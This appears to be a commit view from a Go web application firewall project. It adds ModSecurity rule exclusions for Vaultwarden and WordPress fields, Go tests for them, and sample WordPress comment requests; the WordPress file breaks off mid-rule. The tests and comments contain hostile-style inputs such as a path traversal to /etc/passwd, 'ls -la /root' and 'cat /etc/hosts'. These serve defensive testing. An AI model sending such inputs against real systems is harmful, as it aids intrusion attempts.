{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+0.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 172", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+1.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fpython3.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+2.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+3.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fls+-la%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+4.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F.htaccess&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
+136
View File
@@ -0,0 +1,136 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
# before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass
# without exclusions.
#
# Four rules read a name or a hint as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
# sets it while SWW_WAF_APPS is unset, or lists vaultwarden for the request's
# hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
# name: naming a security key at /api/two-factor/webauthn, "python3 key"
# masterPasswordHint: signing up or changing the master password,
# "the .htaccess one, not powershell"
# invitation_org_name, smtp_from_name: saving the admin page's settings,
# "ls -la and .htaccess vault"
# Drupal serves /admin/config too, but sends no JSON there.
SecRule REQUEST_FILENAME "@rx ^/identity/accounts/|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/api/two-factor/webauthn$|^/admin/config$" \
"id:900150,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/"
# Email addresses, in bodies, skip 930120, 932120 and 932260, which refused
# these addresses:
# 930120: jane.profile@example.com
# 932120: powershell@example.com
# 932260: python3.dev@example.com
# These fields hold an address:
# username: signing in at /identity/connect/token, in form data
# email: signing up, asking for the password hint, inviting an emergency
# contact, and inviting a user from the admin page
# email: setting up sign-in codes by email, and asking for one when signing
# in, under /api/two-factor/
# email: signing in with another device, at /api/auth-requests
# email: sending the admin page's test email, at /admin/test/smtp
# salt fields, such as masterPasswordUnlock.salt: signing up and changing
# the master password, which send the address as the salt
# accountUnlockData.masterPasswordUnlockData.email: rotating the account's
# encryption key
# newEmail: changing the account's address
# billingEmail: creating or editing an organization
# emails: inviting members to an organization
# smtp_from, smtp_username, org_creation_users: saving the admin page's
# settings
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@rx ^/identity/(?:connect/token$|accounts/)|^/api/(?:accounts|emergency-access|organizations|auth-requests)(?:/|$)|^/api/two-factor/|^/admin/(?:config|invite|test/smtp)$" \
"id:900151,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/"
# The data breach report sends an address in the query, which skips the same
# three rules: /api/hibp/breach?username=jane.profile%40example.com.
SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
"id:900152,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:username,\
ctl:ruleRemoveTargetById=932120;ARGS:username,\
ctl:ruleRemoveTargetById=932260;ARGS:username"
# An uploaded attachment or file send is named by its encrypted name, such as
# "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrR...". 920120 refused the "=" in
# it, so the names of uploaded files skip 920120 on these paths:
# /api/ciphers/<id>/attachment/<attachment id>, and the older uploads to
# /api/ciphers/<id>/attachment, /api/ciphers/<id>/attachment-admin and
# /api/ciphers/<id>/attachment/<attachment id>/share
# /api/sends/<id>/file/<file id>
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES"
# The admin token, which an administrator types at /admin, skips each rule that
# random passwords set off. The master password is hashed by the apps before
# they send it, so password and masterPasswordHash need no exclusion.
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
"id:900154,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:token "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
ctl:ruleRemoveTargetById=920540;ARGS:token,\
ctl:ruleRemoveTargetById=921200;ARGS:token,\
ctl:ruleRemoveTargetById=930100;ARGS:token,\
ctl:ruleRemoveTargetById=930110;ARGS:token,\
ctl:ruleRemoveTargetById=930120;ARGS:token,\
ctl:ruleRemoveTargetById=932125;ARGS:token,\
ctl:ruleRemoveTargetById=932130;ARGS:token,\
ctl:ruleRemoveTargetById=932160;ARGS:token,\
ctl:ruleRemoveTargetById=932230;ARGS:token,\
ctl:ruleRemoveTargetById=932250;ARGS:token,\
ctl:ruleRemoveTargetById=932260;ARGS:token,\
ctl:ruleRemoveTargetById=932270;ARGS:token,\
ctl:ruleRemoveTargetById=932280;ARGS:token,\
ctl:ruleRemoveTargetById=932330;ARGS:token,\
ctl:ruleRemoveTargetById=932340;ARGS:token,\
ctl:ruleRemoveTargetById=932370;ARGS:token,\
ctl:ruleRemoveTargetById=932380;ARGS:token,\
ctl:ruleRemoveTargetById=933100;ARGS:token,\
ctl:ruleRemoveTargetById=933135;ARGS:token,\
ctl:ruleRemoveTargetById=933180;ARGS:token,\
ctl:ruleRemoveTargetById=933210;ARGS:token,\
ctl:ruleRemoveTargetById=941100;ARGS:token,\
ctl:ruleRemoveTargetById=941120;ARGS:token,\
ctl:ruleRemoveTargetById=941160;ARGS:token,\
ctl:ruleRemoveTargetById=941180;ARGS:token,\
ctl:ruleRemoveTargetById=942100;ARGS:token,\
ctl:ruleRemoveTargetById=942151;ARGS:token,\
ctl:ruleRemoveTargetById=942190;ARGS:token,\
ctl:ruleRemoveTargetById=942230;ARGS:token,\
ctl:ruleRemoveTargetById=942290;ARGS:token,\
ctl:ruleRemoveTargetById=942320;ARGS:token,\
ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token"
SecMarker END_VAULTWARDEN
+517
View File
@@ -0,0 +1,517 @@
package coreruleset_test
import (
"encoding/base64"
"encoding/json"
"math/rand/v2"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page.
const (
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
vaultwardenPassword = "/api/accounts/password"
vaultwardenProfile = "/api/accounts/profile"
vaultwardenSettings = "/admin/config"
vaultwardenSecurityKey = "/api/two-factor/webauthn"
)
// vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}`
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value
// goes.
type vaultwardenField struct {
method, target, contentType, body string
}
// with returns f's body holding value, escaped as f's kind of body escapes
// it.
func (f vaultwardenField) with(t *testing.T, value string) string {
t.Helper()
escaped := url.QueryEscape(value)
if f.contentType == jsonBody {
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
escaped = strings.Trim(string(quoted), `"`)
}
return strings.ReplaceAll(f.body, "VALUE", escaped)
}
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
// and 932260: the names and the password hints.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenNameFields = []vaultwardenField{
{
http.MethodPost, vaultwardenSignUp, jsonBody,
`{"email":"alice@example.com","name":"VALUE"}`,
},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{
http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
},
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{
http.MethodPost,
vaultwardenOrganization + "/groups",
jsonBody,
`{"name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
}
// vaultwardenAddressFields hold every field of a body that skips 930120,
// 932120 and 932260: the email addresses.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAddressFields = []vaultwardenField{
{
http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
},
{
http.MethodPost,
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
},
{
http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
},
{
http.MethodPost,
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{
http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`,
},
{
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{
http.MethodPost,
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`,
},
{
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
}
// vaultwardenBreachReport is the data breach report, which sends an address
// in the query, ending in "=".
const vaultwardenBreachReport = "/api/hibp/breach?username="
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAddresses = []string{
"jane.profile@example.com",
"python3.dev@example.com",
"powershell@example.com",
}
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
// refuses f holding value, or lets it through.
func wantVaultwardenField(
t *testing.T, f vaultwardenField, value string, refused bool,
) {
t.Helper()
r := request{f.method, f.target, []string{f.contentType}}
body := f.with(t, value)
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < vaultwardenThreshold {
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
}
if !refused && got.Score >= vaultwardenThreshold {
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
}
}
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
for _, f := range vaultwardenNameFields {
wantVaultwardenField(t, f, value, false)
}
}
for _, value := range vaultwardenAddresses {
for _, f := range vaultwardenAddressFields {
wantVaultwardenField(t, f, value, false)
}
target := vaultwardenBreachReport + url.QueryEscape(value)
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
t.Errorf("%s refused: %+v", target, got)
}
}
}
// vaultwardenAttacks are an SQL injection, a script injection, a shell
// command and a path traversal.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAttacks = []string{
injection,
scriptTag,
shellCommand,
"../../etc/passwd",
}
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range vaultwardenAttacks {
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
wantVaultwardenField(t, f, attack, true)
}
target := vaultwardenBreachReport + url.QueryEscape(attack)
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range vaultwardenAddressFields {
wantVaultwardenField(t, f, "ls -la /root", true)
}
}
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A name keeps the rules on vault items and folders, whose names are
// encrypted, on two-factor paths other than security keys', off
// Vaultwarden's paths, and when the query has a field of the same name.
for _, target := range []string{
"/api/ciphers",
"/api/folders",
"/x" + vaultwardenProfile,
"/identity/other",
"/api/two-factor/authenticator",
vaultwardenProfile + "?json.name=python3",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
body := `{"name":"python3"}`
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", target, body, got)
}
}
for _, refused := range []struct{ target, body string }{
{"/admin/other", `{"invitation_org_name":"python3"}`},
{vaultwardenProfile, `{"culture":"python3"}`},
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
} {
r := request{http.MethodPost, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold {
t.Errorf(
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
}
}
r := request{http.MethodPost, "/identity/other", []string{formData}}
got, _ := inspectBody(t, crs, r, "username=python3")
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
}
target := "/api/hibp/other?username=python3"
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// vaultwardenUpload returns a multipart body that uploads a file named name.
func vaultwardenUpload(name string) string {
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
}
func TestVaultwardenAdminTokenPasses(t *testing.T) {
t.Parallel()
wantPasswordFieldsPass(t, []passwordFields{
{"/admin", formData, []string{"token"}},
})
}
// masterPasswordHashes returns count random 32-byte hashes in base64, the
// form in which the apps send a master password.
func masterPasswordHashes(count int) []string {
const size, seed = 32, 288
//nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count)
for i := range hashes {
hash := make([]byte, size)
for j := range hash {
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
}
hashes[i] = base64.StdEncoding.EncodeToString(hash)
}
return hashes
}
// The apps hash the master password before they send it, so these fields
// hold only base64 and set off no rule, with no exclusion.
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Parallel()
const perBody = 20
crs := readingBodies(t)
hashes := masterPasswordHashes(perBody)
for _, sent := range []struct {
r request
names []string
}{
{
request{http.MethodPost, "/identity/connect/token", []string{formData}},
[]string{passwordKey},
},
{
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
[]string{"masterPasswordHash", "newMasterPasswordHash"},
},
{
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
[]string{"masterPasswordHash"},
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
}
if got, _ := inspectBody(t, crs, sent.r, body); len(
got.RuleIDs,
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
}
}
}
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
encrypted := vaultwardenUpload(
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
vaultwardenCipher + "/attachment",
vaultwardenCipher + "/attachment-admin",
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
} {
r := request{http.MethodPost, target, []string{multipart}}
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
t.Errorf("POST %s refused: %+v", target, got)
}
// The names of uploaded files keep the other rules: a path
// traversal and a PHP script are still refused.
for _, name := range []string{"../../etc/passwd", "x.php"} {
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", target, name, got)
}
}
}
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
r := request{http.MethodPost, target, []string{multipart}}
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
t.Errorf("POST %s let through: %+v", target, got)
}
}
}
+326
View File
@@ -0,0 +1,326 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
# /index.php?rest_route=/wp/v2/posts/1
# /?rest_route=/wp/v2/posts/1
# These two rules put the route, here /wp/v2/posts/1, in tx.rest_route for the
# exclusions below. A call that names a route in both its path and its query
# gets none of them, since WordPress follows the query.
SecRule &ARGS_GET:rest_route "@eq 0" "id:900705,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?wp-json(/.*)$" \
"capture,setvar:tx.rest_route=%{tx.1}"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php)?$" "id:900706,phase:1,pass,nolog,chain"
SecRule ARGS_GET:rest_route "@rx ^(/.*)$" "capture,setvar:tx.rest_route=%{tx.1}"
# The block editor saves a post with POST and the header X-HTTP-Method-Override:
# PUT, which the Core Rule Set refused (920450). So does saving a user's editor
# preferences.
SecRule TX:rest_route "@beginsWith /" \
"id:900700,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:X-HTTP-Method-Override"
# The block editor and the site editor send HTML in the JSON field content, which
# skips these rules when saving or autosaving a post, a page, a template or a
# template part:
# 930120: cat /etc/hosts
# 932230: a code block with a shell pipeline and an SQL query
# 932250: the same code block
# 934100: console.log('ok')
# 941100: <iframe src="..." onload="...">
# 941110: <script>
# 941120: onload=
# 941160: <img src=
# 941180: <!-- wp:paragraph -->, the comment that starts every block
# 941390: console.log(
# 942190: how to select a table from the catalog
# 942270: how to select a table from the catalog
SecRule TX:rest_route \
"@rx ^/wp/v2/(?:(?:posts|pages)(?:/[0-9]+(?:/autosaves)?)?|template(?:s|-parts)(?:/[^/]+//[^/]+(?:/autosaves)?)?)$" \
"id:900701,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.content "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.content,\
ctl:ruleRemoveTargetById=932230;ARGS:json.content,\
ctl:ruleRemoveTargetById=932250;ARGS:json.content,\
ctl:ruleRemoveTargetById=934100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941110;ARGS:json.content,\
ctl:ruleRemoveTargetById=941120;ARGS:json.content,\
ctl:ruleRemoveTargetById=941160;ARGS:json.content,\
ctl:ruleRemoveTargetById=941180;ARGS:json.content,\
ctl:ruleRemoveTargetById=941390;ARGS:json.content,\
ctl:ruleRemoveTargetById=942190;ARGS:json.content,\
ctl:ruleRemoveTargetById=942270;ARGS:json.content"
# A reply to a comment from the list of comments, in content:
# 932125: ls -la, in the reply's text
# 932230: ls -la, in the reply's text
# 932250: ls -la, in the reply's text
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900702,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:content "@eq 0" \
"ctl:ruleRemoveTargetById=932125;ARGS:content,\
ctl:ruleRemoveTargetById=932230;ARGS:content,\
ctl:ruleRemoveTargetById=932250;ARGS:content"
# Saving a plugin's or a theme's file from its file editor sends the file in
# newcontent, which skips these rules, each of which refused saving the plugin
# Hello Dolly's hello.php. Some of them refused only the whole file:
# 932140: if ( 'en_' !== substr(
# 932235: the whole file
# 933100: the whole file
# 933160: if ( 'en_' !== substr(
# 933210: $lyrics = explode(
# 941100: <style type='text/css'>
# 941160: <style type='text/css'>
# 941190: the whole file
# 942151: if ( 'en_' !== substr(
# 942540: Dolly'll never go away again";
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900703,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:newcontent "@eq 0" \
"ctl:ruleRemoveTargetById=932140;ARGS:newcontent,\
ctl:ruleRemoveTargetById=932235;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933210;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941190;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, which skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
